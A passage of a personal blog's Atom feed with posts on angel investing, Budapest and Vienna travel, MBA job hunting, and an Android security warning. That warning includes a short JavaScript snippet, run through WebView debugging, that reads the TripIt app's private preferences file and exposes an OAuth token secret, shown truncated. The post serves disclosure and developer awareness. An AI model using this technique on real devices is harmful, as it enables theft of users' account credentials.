<a href="https://fundersclub.com/learn/startup-equity/preferred-equity-rights-and-terms/pro-rata-investment-rights/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pro-rata</a>, fight for this right.</p>
<h2 id="understand-the-different-type-of-investments">Understand the different type of investments</h2>
<p>  
    
    
<a href="https://www.ycombinator.com/docs/Post%20Money%20Safe%20User%20Guide.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SAFE</a> is the most popular now. Convertible debt creates phantom tax implications. Equity investing is less prevalent in early stage than the late stage.</p>
<h2 id="criteria">Criteria</h2>
<p>Develop some criteria to decide what would you invest in and what would you not invest in. For example, I don&rsquo;t understand health tech and pharmaceutical, and I would not invest in it. Similarly, for the lack of understanding, I avoid startups targeting Latin America or Africa. Remember that laws are different everywhere; for example, in India, a minority shareholder can block an acquisition, in the USA, they cannot.</p>
<h2 id="process">Process</h2>
<p>Decide how you are going to invest. Are you going to decide over a phone call or multiple in-person meetings? Have a written questionnaire which you ask to ensure you are not missing on something.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/angel-investing" term="angel-investing" label="angel-investing"/></entry><entry><title type="html">Don't leave Android WebView debugging enabled in production</title><link href="https://ashishb.net/security/android-security-dont-leave-webview-debugging-enabled-in-production/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/android-security-related-tools/?utm_source=atom_feed" rel="related" type="text/html" title="Android Security related tools"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><id>https://ashishb.net/security/android-security-dont-leave-webview-debugging-enabled-in-production/</id><author><name>Ashish Bhatia</name></author><published>2019-08-01T07:10:09+00:00</published><updated>2019-08-01T07:10:09+00:00</updated><content type="html"><![CDATA[<blockquote>Leaving WebView debugging enabled in production apps risks user data exposure. Discover how unauthorized access can lead to permanent data breaches.</blockquote><p>WebView debugging can be enabled via &ldquo;WebView.setWebContentsDebuggingEnabled(true)&rdquo;. Leaving WebView debugging enabled in production Android apps is a bad idea. Anyone who gets hold of the unlocked phone can access the app&rsquo;s data forever.</p>
<p>Consider this, the   
    
    
<a href="https://play.google.com/store/apps/details?id=com.tripit&amp;hl=en_US&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tripit</a> app exposes WebView debugging, and by using that I can read all the files inside the private data directory. As an example, by connecting a user&rsquo;s unlocked mobile phone to my laptop, I can extract TripIt OAuthToken.</p>
<p>First, connect the phone via ADB, open chrome://inspect in the Chrome browser, click &ldquo;inspect&rdquo; below &ldquo;com.tripit&rdquo; and enter the following in there.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Js
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#b58900">window</span>.location<span style="color:#719e07">=</span><span style="color:#2aa198">&#34;file:///data/data/com.tripit/shared_prefs/com.tripit.xml&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#b58900">document</span>.getElementsByTagName(<span style="color:#2aa198">&#34;html&#34;</span>)[<span style="color:#2aa198">0</span>].innerHTML</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, you can see all the entries like</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Html
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#268bd2">string</span> name<span style="color:#719e07">=</span><span style="color:#2aa198">&#34;oauthTokenSecret&#34;</span>&gt;f731d36cdbf9006f917307...&lt;/<span style="color:#268bd2">string</span>&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>These auth tokens can be copied and used to get permanent access to the user&rsquo;s TripIt account.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-security" term="android-security" label="android-security"/></entry><entry><title type="html">Two days in Budapest, Hungary</title><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><link href="https://ashishb.net/travel/austria/vienna/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vienna"/><id>https://ashishb.net/travel/budapest-hungary/</id><author><name>Ashish Bhatia</name></author><published>2019-07-08T05:56:18+00:00</published><updated>2019-07-08T05:56:18+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Budapest in two days: Discover historic sites like Castle Hill, Citadella, and St. Stephen&rsquo;s Basilica. End with vibrant nightlife at ruin bars!</blockquote><p>Budapest, pronounced Budapescht, consists of two cities, hilly Buda in the west, and flat Pest in the south.
The city structure is similar to 
<a href="/travel/prague-czech-republic/">Prague</a>.</p>
<h3 id="day-1">Day 1</h3>
<p>Start your day with a walking tour. While there are many specific ones like focusing on Jewish quarters etc.
I chose the generic one which covers the history and the culture of the city.
After the tour, spend time checking out the castle before heading down to the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g274887-d2169533-Reviews-Hospital_in_the_Rock-Budapest_Central_Hungary.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hospital in the rock</a>.
It was a hospital built during the cold war to survive a nuclear attack.
The guided tour at this place is subpar though.</p>
<figure>
    
    <a href="IMG_20190331_163213_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190331_163213_resized-1024x512.jpg"
         alt="A guided tour is taking place at a Cold War-era bunker designed to survive a nuclear attack." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190331_165327_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190331_165327_resized-512x1024.jpg"
         alt="Hospital in the Rock" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190401_161450_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_161450_resized-1024x512.jpg"
         alt="Hospital in the Rock" width="900"/> </a>
</figure>

<p>Check out the   
    
    
<a href="https://www.atlasobscura.com/places/peter-mansfeld-monument-man-falling-into-death?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mansfeld Peter Memorial</a> and   
    
    
<a href="https://en.wikipedia.org/wiki/Zero_Kilometre_Stone?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zero kilometer Stone</a> while going down from the castle.</p>
<figure>
    
    <a href="IMG_20190401_142828_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_142828_resized-512x1024.jpg"
         alt="A rocky path descends through the Zero Kilometre Stone tourist spot, offering scenic views of a surrounding cityscape, highlighting historic architecture with lush greenery in the backdrop." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190401_141503_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_141503_resized-1024x512.jpg"
         alt="Historic architecture is highlighted within a cityscape, surrounded by lush greenery and seen alongside instructions for a bus trip to the Citadella." width="900"/> </a>
</figure>

<p>And then before crossing over to the Pest side, take a bus to   
    
    
<a href="https://en.wikipedia.org/wiki/Citadella?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Citadella</a> for a few more views of the city.</p>
<figure>
    
    <a href="IMG_20190401_173631_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_173631_resized-1024x512.jpg"
         alt="A scenic view from Citadella showing a panoramic cityscape under a cloudy sky, with architectural landmarks visible in the distance." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Start the day with   
    
    
<a href="https://en.wikipedia.org/wiki/St._Stephen%27s_Basilica?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">St. Stephen&rsquo;s Basilica</a>.
There is a hand of Stephen, the first king of Hungary, inside.
It is illegal to construct a building taller than this in Budapest.
The Hungary Parliament building is precisely the same height.</p>
<figure>
    
    <a href="IMG_20190331_152253_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190331_152253_resized-512x1024.jpg"
         alt="St. Stephen’s Basilica" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190401_125549_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_125549_resized-512x1024.jpg"
         alt="St. Stephen’s Basilica" width="900"/> </a>
</figure>

<p>Next, head to   
    
    
<a href="https://en.wikipedia.org/wiki/Shoes_on_the_Danube_Bank?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shoes on the Danube Bank</a>, which are placed by Hungarians in the memory of the Holocaust victims.</p>
<figure>
    
    <a href="IMG_20190401_134347_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_134347_resized-1024x512.jpg"
         alt="View of the Shoes on the Danube Bank memorial, dedicated to Holocaust victims in Budapest, Hungary. There are metal shoe sculptures lined along the riverbank." width="900"/> </a>
</figure>

<p>Later at night, check out   
    
    
<a href="https://szimpla.eu/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Szimpla Kert</a> and   
    
    
<a href="https://www.tripadvisor.com/LocationPhotoDirectLink-g274887-d6895875-i104573931-Red_Ruin_Bar-Budapest_Central_Hungary.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Red Ruin</a>, the two famous ruin bars among many others.</p>
<figure>
    
    <a href="IMG_20190401_184931_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_184931_resized-1024x512.jpg"
         alt="A bar scene with eclectic decor and dim lighting, featuring patrons socializing in a lively atmosphere" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190401_182136_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190401_182136_resized-1024x512.jpg"
         alt="A scenic view of Budapest with historical architecture" width="900"/> </a>
</figure>

<p>Note that Budapest is famous for the thermal baths as well.
I felt that they are glorified hot water pools with high prices and decided to skip them.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/hungary" term="hungary" label="hungary"/></entry><entry><title type="html">A short guide for MBAs looking for a job in the tech world</title><link href="https://ashishb.net/tech/tech-job-after-mba/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Angel investing for Software Engineers"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/this-website-was-compromised/?utm_source=atom_feed" rel="related" type="text/html" title="This website was compromised"/><link href="https://ashishb.net/tech/closeum-closed-source-in-disguise/?utm_source=atom_feed" rel="related" type="text/html" title="Closeum - closed-source in disguise"/><id>https://ashishb.net/tech/tech-job-after-mba/</id><author><name>Ashish Bhatia</name></author><published>2019-07-03T14:00:55+00:00</published><updated>2019-07-03T14:00:55+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why tech careers attract MBA grads, explore beyond Product Manager roles, understand company stages, and get insider tips on job applications.</blockquote><h2 id="why-tech">Why Tech</h2>
<p>In the past decade, interest among MBA grads towards tech companies has drastically gone up. If you are one of those, take a pause and ask yourself &ldquo;why&rdquo;. Of course, there are upsides; the tech sector is growing faster, pays well, has a much better work-life balance than finance, private equity, or consulting. But at the same time, do remember that you spend almost 50% of your waking hours at your workplace, so you must as well enjoy it. If you enjoy flashy presentations, regular travel, or an opportunity to think about big M&amp;A deals, then these things come much earlier in your career on the east coast than that on the west.</p>
<h2 id="why-product-manager">Why Product Manager</h2>
<p>Product Manager is the dominant choice for an MBA grad. That does not mean this is the only possible role. Anecdotally speaking, getting into a PM role at Google is harder than a Software Engineering role. And if you are an international student looking for visa sponsorships, then some tech companies are not willing to do that for the PM role. Lastly, if you are not from a Computer Science/Electrical Engineering background, it is harder to get shortlisted and clear interviews. My goal is not to discourage you from applying but make your expectations realistic.</p>
<h2 id="beyond-product-manager">Beyond Product Manager</h2>
<p>Facebook, Google, Apple/Amazon, Netflix (FANG), and Microsoft are big businesses. They deal with a wide range of functions such as real estate to supply chain to short-term/long-term cash management. There are all sorts of finance-world equivalent roles beyond the PM role. I won&rsquo;t be surprised if Google pays more in real-estate rents than say, WeWork. All big companies engage in regular M&amp;A as well and have a full-time team staffed for that. Cisco, Apple, and Google, in particular, are known for M&amp;A. Also, many companies have roles like Product Strategy and Product Marketing Manager. These roles are similar to Product Manager but attract much less attention since these titles do not look as coveted as the Product Manager. You can use these roles to get in and then can transition to a Product Manager role later.</p>
<p>Beyond tech companies, many venture firms, both domestic and foreign (like   
    
    
<a href="https://capital.rakuten.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rauketen</a> and   
    
    
<a href="https://angel.co/company/softbank-capital?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Softbank</a>), invest in US tech startups. And for that, they hire analysts, principals, and associates. The job responsibilities range from scouting to deciding on the deals.</p>
<h2 id="does-company-size-matter">Does company size matter</h2>
<p>I like quantifying companies in three stages - stage 1 (pre-product market fit), stage 2 (post-product market fit, growth stage), and stage 3 (mature companies like FANGs). Do note that in a big company like one of the FANGs, you will find products that are in stage 1, stage 2, or stage 3.</p>
<p>If you need visa sponsorships and have loans to pay, then stay away from stage 1 companies. The risk-reward ratio is more skewed towards risk here. If this succeeds, even a small acquisition can net you a million-dollar or two easily.</p>
<p>In a stage 2 company, the likelihood of broad responsibility is higher. You could be doing inside sales one day and scouting for a new office lease the other. If you are willing to take the risk, then the long-term financial rewards are much higher here. If you need visa sponsorship, then you should join a stage 2 company with a non-US office as well. So, in case you don&rsquo;t get an H1-B before your OPT expires, the company can move you to one of the international offices. Confirm this after getting the offer letter and before signing it. Some companies like   
    
    
<a href="https://about.gitlab.com/company/culture/all-remote/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GitLab</a> have a strong remote culture; this can be extra beneficial to someone concerned about visa sponsorship issues.</p>
<p>In a stage 3 company, your role is going to be much more structured, narrow, and focused. The company won&rsquo;t die overnight and would likely have international offices to move you to in case the visa situation does not work out. One caveat for those looking to apply for permanent residence (green card), join a company that did not do layoffs recently and is not planning to do in the next year. If a layoff happens, then the permanent residence applications from that employer are usually rejected by the USCIS.</p>
<h2 id="b2b-b2c-and-marketplaces">B2B, B2C, and marketplaces</h2>
<p>B2C, Business-to-consumer startups, in their pure form, were thriving in the valley till about 2015. The users have swayed away from installing new apps, and more prominent companies have become good at making the whole startup a feature in their product. So, in 2019, software-only B2C exists, primarily, inside FANG and Snap. Two exciting classes have emerged beyond software-only B2C. One is prosumer (professional consumer) companies like recently-IPOed like Slack and startups like   
    
    
<a href="https://heysavvy.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Savvy</a>. The other exciting direction is the D2C, direct-to-consumer, startups like   
    
    
<a href="https://allbirds.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">allbirds</a>, and   
    
    
<a href="https://brandless.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">brandless.com</a>. D2C, in my opinion, requires a lot of operations and marketing experience. I notice more B2C startups focused on India, Latin America, and China than the USA these days.</p>
<p>B2B, business-to-business, are all in rage today. From Google cloud/Azure to small companies like   
    
    
<a href="https://www.narmi.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Narmi</a>, a lot of companies are capitalizing and building products for other businesses. While B2C is about understanding consumer psychology, B2B is about understanding the needs of another business.</p>
<p>Two-sided marketplaces are hard to   
    
    
<a href="https://andrewchen.co/grow-marketplace-supply/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">grow</a>. Most of them, in the US, are trying to build pieces of Craigslist, and some are doing   
    
    
<a href="https://us.letgo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">well</a>.</p>
<h2 id="how-to-apply">How to apply</h2>
<p>Don&rsquo;t apply directly for an off-campus opportunity. Go via a referral. The referral route ensures that you will get a response, even if it is a rejection. Most of the time, direct applicants never get a response. And you don&rsquo;t need to find someone you know. You need to find someone willing to spend 5 minutes submitting your resume internally. Culturally, it is not frowned upon to provide referrals for acquaintances. And if you get hired, the person referring you will make a referral fee, which is usually a few 1000$.</p>
<h2 id="where-to-find-stage-1-and-stage-2-jobs">Where to find stage 1 and stage 2 jobs</h2>
<ol>
<li>  
    
    
<a href="https://angel.co/jobs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Angel List</a></li>
<li>  
    
    
<a href="https://breakoutlist.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Breakout list</a></li>
<li>  
    
    
<a href="https://workatastartup.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Y Combinator startups</a></li>
<li>  
    
    
<a href="https://hn.algolia.com/?query=who%20is%20hiring&amp;sort=byDate&amp;prefix&amp;page=0&amp;dateRange=pastYear&amp;type=story&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hacker News&rsquo;s who is hiring threads</a> and   
    
    
<a href="https://who-is-hiring.arxpoetica.com/listing/20083795?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">a bit more readable version</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/jobs" term="jobs" label="jobs"/><category scheme="https://ashishb.net/tag/mba" term="mba" label="mba"/></entry><entry><title type="html">Two days in Vienna</title><link href="https://ashishb.net/travel/austria/vienna/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Budapest, Hungary"/><id>https://ashishb.net/travel/austria/vienna/</id><author><name>Ashish Bhatia</name></author><published>2019-06-18T08:05:17+00:00</published><updated>2019-06-18T08:05:17+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to Vienna, Austria. A two-day itinerary covering the best of Vienna, including museums, food, and travel tips.</blockquote><p>Vienna is a historic city.
First, a pivotal battle between the Ottoman Empire and Western Europe was   
    
    
<a href="https://en.wikipedia.org/wiki/Battle_of_Vienna?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fought</a> in 1683,
and then, during the second world war, significant support to Hitler came from Vienna.</p>
<h3 id="some-tips-for-the-first-timers">Some tips for the first-timers</h3>
<ol>
<li>The dominant spoken language is German, but it is not hard to find English speakers.</li>
<li>Public transport is great and a 24-hour pass costs 8 Euros.</li>
<li>Most of the good spots are near the city center, so don&rsquo;t stay too far away.</li>
<li>Toilets inside shopping malls, big grocery stores, and restaurants are usually free. Outside ones charge 0.5 Euro.</li>
</ol>
<h3 id="which-museum-to-see">Which museum to see</h3>
<p>Vienna is full of museums, and one can spend a week just checking out the museums.
Entry cost varies from 4 Euros to 20 Euros.
I would recommend deciding what you want to see and make a decision based on that.
I was not interested in checking out natural history or art museums since they are similar to the museums I have seen before.
Therefore, I picked &ldquo;Museum of Art Fakes&rdquo; and &ldquo;Museum of Abortion and Contraception.&rdquo;
Both unusual and unique to Vienna.</p>
<h3 id="day-1">Day 1</h3>
<p>Start your day with a tip-only   
    
    
<a href="https://www.primetours.at/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>, which gives you a good understanding of the history as well
as the culture of this city.
After the tour, spend time checking out   
    
    
<a href="https://en.wikipedia.org/wiki/St._Stephen%27s_Cathedral,_Vienna?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">St. Stephen&rsquo;s Cathedral</a>,
a 13th century 444-ft tall Church, which was the tallest building of its time.</p>
<figure>
    
    <a href="vienna_cathederal_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vienna_cathederal_resized-512x1024.jpg"
         alt="A tall, historic church in Vienna called a 13th-century, 444-feet-high cathedral featuring architectural details and elements that capture its age and historical significance." width="900"/> </a>
</figure>

<p>An old   
    
    
<a href="https://www.atlasobscura.com/places/stock-im-eisen-nail-tree?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nail Tree</a> with nails in for good luck is nearby and easy to miss.</p>
<figure>
    
    <a href="nail_tree_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="nail_tree_resized-512x1024.jpg"
         alt="A tree trunk embedded with numerous nails is used as a good luck charm." width="900"/> </a>
</figure>

<p>Next, head to the Danube riverfront for a walk. It is a bit overhyped, so feel free to skip it as well.</p>
<figure>
    
    <a href="Danube_river_front_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Danube_river_front_resized-1024x512.jpg"
         alt="A waterfront scene shows a person walking beside the Danube River with paths and greenery alongside, under partly cloudy skies, with reflections visible in the calm water." width="900"/> </a>
</figure>

<p>Then head to the Open-air market,   
    
    
<a href="https://www.naschmarkt-vienna.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Naschmarkt</a>, prices are competitive, and it is a great place to grab fresh fruits.</p>
<figure>
    
    <a href="Naschmarkt_resized-e1557724069934-247x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Naschmarkt_resized-e1557724069934-247x300.jpg"
         alt="An assorted display of fresh fruits, showcasing vibrant colors such as red, yellow, and green, arranged neatly on a market stand" width="247"/> </a>
</figure>

<p>Next, head to the   
    
    
